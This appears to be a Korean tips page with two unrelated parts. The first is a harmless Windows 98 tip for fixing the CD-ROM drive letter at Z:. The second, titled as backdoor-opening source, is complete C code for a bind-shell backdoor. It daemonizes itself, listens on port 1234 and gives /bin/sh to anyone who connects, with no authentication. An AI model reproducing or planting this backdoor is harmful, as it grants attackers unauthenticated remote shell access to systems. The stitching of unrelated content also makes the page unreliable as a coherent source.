CD-ROM 드라이브 문자를 Z:로 지정하려면

-이동형 저장장치를 자주 사용한다거나, 하드디스크를 랙에 담아 들고 다
니면서 사용하는 사람들이라면, 가끔 CD-ROM드라이브의 드라이브 네임이
자주 바뀌는 것을 볼 수 있다. 예를 들어 외장형 ZIP 드라이브를 연결했
을 때는 ZIP 드라이브가 D:로, CD-ROM드라이브가 E:로 설정되지만, ZIP드
라이브의 연결이 끊어졌을 때는 CD-ROM드라이브는 항상 마지막 드라이브
네임을 가지게 된다. 즉, CD-ROM 드라이브는 항상 마지막 드라이브 네임
을 가지게 된다. 대개의 경우는 별 문제가 없지만, 간혹 윈도우 98의 설
치 CD-ROM을 요구할 때는 그때마다 CD-ROM 드라이브 네임을 새로 지정ㅇ해
야 하므로 다소 불편해진다. 이럴 때는 아예 CD-ROM 드라이브를 Z: 드라이
브로 만들면 이런 사소한 불편을 없앨 수 있다.

-제어판에서 시스템 항목을 열어 ‘장치관리자’를 선택한다. 가장 아래의
CD-ROM 드라이브 아래서 장착된 모델명을 더블클릭하면 등록정보가 열리는
데, 여기서 ‘설정’ 탭을 선택하고 시작 드라이브 문자를 Z:로 바꾸면 된
다. 바꾼 후에 시스템 재시작을 하면 CD-ROM 드라이브가 Z: 드라이브로 고
정된다.

백도어 여는 소스

#define PORT 1234
#include <stdio.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

int soc_des, soc_cli, soc_rc, soc_len, server_pid, cli_pid;
struct sockaddr_in serv_addr;
struct sockaddr_in client_addr;

int main ()
{
soc_des = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (soc_des == -1)
exit(-1);
bzero((char *) &serv_addr, sizeof(serv_addr));
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = htonl(INADDR_ANY);
serv_addr.sin_port = htons(PORT);
soc_rc = bind(soc_des, (struct sockaddr *) &serv_addr, sizeof(serv_addr));
if (soc_rc != 0)
exit(-1);
if (fork() != 0)
exit(0);
setpgrp();
signal(SIGHUP, SIG_IGN);
if (fork() != 0)
exit(0);
soc_rc = listen(soc_des, 5);
if (soc_rc != 0)
exit(0);
while (1) {
soc_len = sizeof(client_addr);
soc_cli = accept(soc_des, (struct sockaddr *) &client_addr, &soc_len);
if (soc_cli < 0)
exit(0);
cli_pid = getpid();
server_pid = fork();
if (server_pid != 0) {
dup2(soc_cli,0);
dup2(soc_cli,1);
dup2(soc_cli,2);
execl(“/bin/sh”,”sh”,(char *)0);
close(soc_cli);
exit(0);
}
close(soc_cli);
}
}